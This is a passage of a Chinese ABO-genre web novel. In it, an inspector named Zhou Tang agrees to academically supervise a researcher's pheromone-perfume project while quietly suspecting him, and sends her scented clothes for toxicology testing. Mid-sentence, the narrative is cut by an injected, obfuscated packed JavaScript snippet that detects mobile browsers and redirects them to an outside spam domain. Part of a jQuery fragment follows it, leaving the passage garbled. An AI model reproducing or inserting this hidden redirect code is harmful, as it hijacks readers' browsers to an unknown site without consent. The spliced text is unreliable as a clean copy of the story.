顾云杉这才反应过来,连忙把握在手里的一个敞口瓶盖上了,将周棠拉到窗边。 “抱歉抱歉,现在好点了吗?” 他晃了晃手里的瓶子,解释道:“这是我们新研发的一款模拟信息素香水,对ABO三种性别都有效果,这瓶是原液,幸好没泼出来,不然我们俩的衣服都不能要了。” 周棠问:“模拟信息素香水?” “对,不只是气味,连生理效果都一样。”顾云杉有点期待地看她,“你有什么感觉吗?” 周棠:“我只闻到香味。” “我想也是。”顾云杉说,“这只是第一版产品,具体的效果还要等后续研究,在气味上,也要做一些多方向的分支,有很多人会因为某种香味感到眩晕,这可能……” 他讲起研究的事就没完没了,这点周棠太清楚了,在即将听完一篇即兴的学术演说前,及时打断了他。 “研究的事情等会再说。”周棠问,“你怎么在这儿?什么时候从第七区回来的?” 顾云杉突遭打断,没太反应过来似的眨了好几下眼睛,过了会儿才说:“前两年就回来了,当时是为了临时的研究项目,不确定会待多久,所以没和你联系。你呢?最近怎么样?” “老样子。”周棠说,“出差了一段时间,今天刚回来,再过一段时间要年终述职了。” 顾云杉听完,问道:“你今天有空吗?” 周棠:“有。” “那正好,我也忙完了。”顾云杉弯着眼睛,问,“晚上要不要一起吃个饭,正好叙叙旧。” 晚上? 周棠犹豫了一下。 她想快点把事情了结,所以打算等会就回监察部报到,看看能不能和部长见上面,问问叫她回来究竟有什么要事。 但这实际上也没有很着急。 “有空。”周棠看向终端,“等我和部里说一声。” 顾云杉又笑起来:“好。” 与此同时,他也低头在终端上点了两下,将一张精确到小时的行程追踪图关掉了。 18. 18 虽说是叙旧,但两人已近三年未见,工作内容又不太相关,能聊的话题不太多,基本都围着工作、生活、往事打转,聊的很浅。 但酒过三巡,顾云杉像是忽然想到什么,张张口却没说出来,神色变得很犹豫。 周棠正巧抬眸看见,问:“怎么了?” “我突然想起来,监察部也接到消息了吧?重构法案的那些事情。”顾云杉问,“科研学会已经乱套了,但你们似乎没有什么反应?” “接到消息了,但年末没人管这个。”周棠说,“监察部也很松散,都是独来独往。” 她已经谈腻了这个话题,往椅子上一靠,晃晃酒杯,随口问:“科研学会吵翻天了?” 顾云杉无奈地笑了笑:“在闹罢工。” “这么严重。”周棠喝了一口酒,问,“重构法案对你们有什么影响?” “监督和审核权的向外移交,如果合法合规,其实不会有阻碍,现在反对的理由只是‘不想让外人参与’。如果不是相关领域的工作者,审核的时候需要解释很多,影响效率。” “对了,说起这个。”顾云杉问,“能不能请你帮个忙?” 周棠:“什么事?” “关于……” 顾云杉刚说出一个字,就微微哑了声,像是有点过意不去似的,尴尬的笑了一下,才说:“想请你为我们的项目做学术监督。” “你们的项目?哦,是说刚才那个……”周棠回忆了一下,不太确定地问,“香水?” “是的。” 顾云杉把那瓶差点香晕周棠的原液拿出来,放在桌上,说道:“法案内容公布之后,学术监督组也临时解散了,这道程序走不了,整个研发周期都会被推后半年。” “偏偏这是个商业项目。”他面露愁容,“投资方催的很紧。” 周棠看了眼那个瓶子,摇摇头:“但我对这一窍不通。” 顾云杉一愣,很快意识到这句话不是坚定的拒绝,急切地说道:“这没关系,技术方面的问题我会负责,你只需要做一些程序上的审核,我之前看到监察官有这方面的职权。” “嗯……” 周棠垂眸想了一会儿。 在联邦的规定里,监察官的确有学术监督方面的权力,但那是在科研学会还不成熟的时候,自从他们将学术研究的整个链条都包揽下来,这条规定就成了摆设。 不过,暂时也还算是正在实行。 周棠提醒道:“这条规定确实存在,但它也在重构法案里被废除了,如果你坚持要这样做,时间上会很紧。” “来得及的!”顾云杉惊喜的说,“你答应了?” 周棠笑了笑:“小事。” 她用指尖敲了敲酒杯,在玻璃清脆的响声里,慢慢说道:“既然这样,我就……明天去你们那儿看看吧,记得准备好审核的材料,合法合规就可以,不过,科研方面的知识我不太了解,要靠你自己把关了。” 顾云杉脸上的惊喜愈浓,笑起来的时候,线条柔和的眼睛仿佛花瓣。 “好,我会准备好的。”他说,“我们的研究所就在这附近,明天你大概几点过来?我来接你。” “不用,这一片我还挺熟的。”周棠说,“下午有空吗?三点。” 顾云杉立刻说好。 直到晚上两人分别的时候,他都显得十分高兴,向周棠道了好几次谢,一副惊喜万分的模样。 因为兴奋,他的眼睛显得亮晶晶的。 周棠盯着他看了一会儿,忽然微微笑了一下,线条鲜明、如同兽类的眼睛弯出一个优美的弧度,烧起心火。 “突然想问你……” 她歪了歪头,脸上有一种近似天真的热忱:“现在还是单身吗?” 听见这句话,顾云杉愣了一下,眼睛慢慢睁大了一点。 紧接着,他难为情似的低下头。 …… 晚上九点,监察部仍然灯火通明。 部里刚换了新的门禁系统,还没调试好就被来来往往的人刷了千百遍,刚用了一下午就罢工失灵,周棠在楼外被卡了十分钟才进去。 她一点儿烦躁也没有,只是叹了口气。 大楼里,所有兢兢业业加班的监察官也和她的状态差不多,抬起头打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559502|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招呼的时候,个个都很放空,感觉魂都不在身体里了。 周棠挨个慰问一遍,转头去了十二楼事务处。 迎面第一间办公室就是目的地。 “林鹤。” 周棠喊了一声,正撑着脑袋偷偷玩终端的事务官立刻明显的抖了一下,反射性地把终端一推,把墙砸得哐哐作响。 直到看清周棠的脸,她才猛然把挺直的脊背又垮了下去。 “吓死我了,你怎么神出鬼没的。”林鹤拍拍胸口,有点不满,“进来之前先敲门!别像部长一样……等等等等!你干嘛呢!” 周棠正在脱衣服。 她两把扯下外套,随手往桌上一放,问:“你这儿还有没有证物袋?” “噫——”林鹤一下子跳起来,“好香!你去哪儿鬼混了?” “这是什么话。”周棠把手套也取了下来,和衣服放在一块儿,“我还没开始鬼混呢。” 林鹤露出一个谴责的表情。 她一边小声嘟囔着什么,一边任劳任怨地从身后的储物柜里拿出一个透明袋子,把衣服和手套都装了进去。 周棠撕了一张标签,写上日期,贴在袋子外面:“明天拿去做毒理化验。” 林鹤:“哦。” 她用两根指头提起袋子,小心翼翼把它移到了一旁的推车上,然后换了个措辞:“你去哪儿……加班了?” “是班在后面追我。”周棠说,“扮傻子去了。” 林鹤疑惑地看着她。 “我这次的行程没做加密?”周棠说,“被人追踪了吧。” “没有没有没有。”林鹤摇头如拨浪鼓,“你带着三个小的呢,总不能向医学部保密吧,友好合作啊。” “……好吧。”周棠问,“部长在吗?” 林鹤继续摇头:“不在,开会去了,明天回来。” 周棠想了想:“那我明天晚上再找他。” 林鹤疑惑地问:“晚上?白天部里人比较少哦。” “没空,下午我要加班。”周棠的语速微微变慢了一点,“上午……” “要回家一趟。”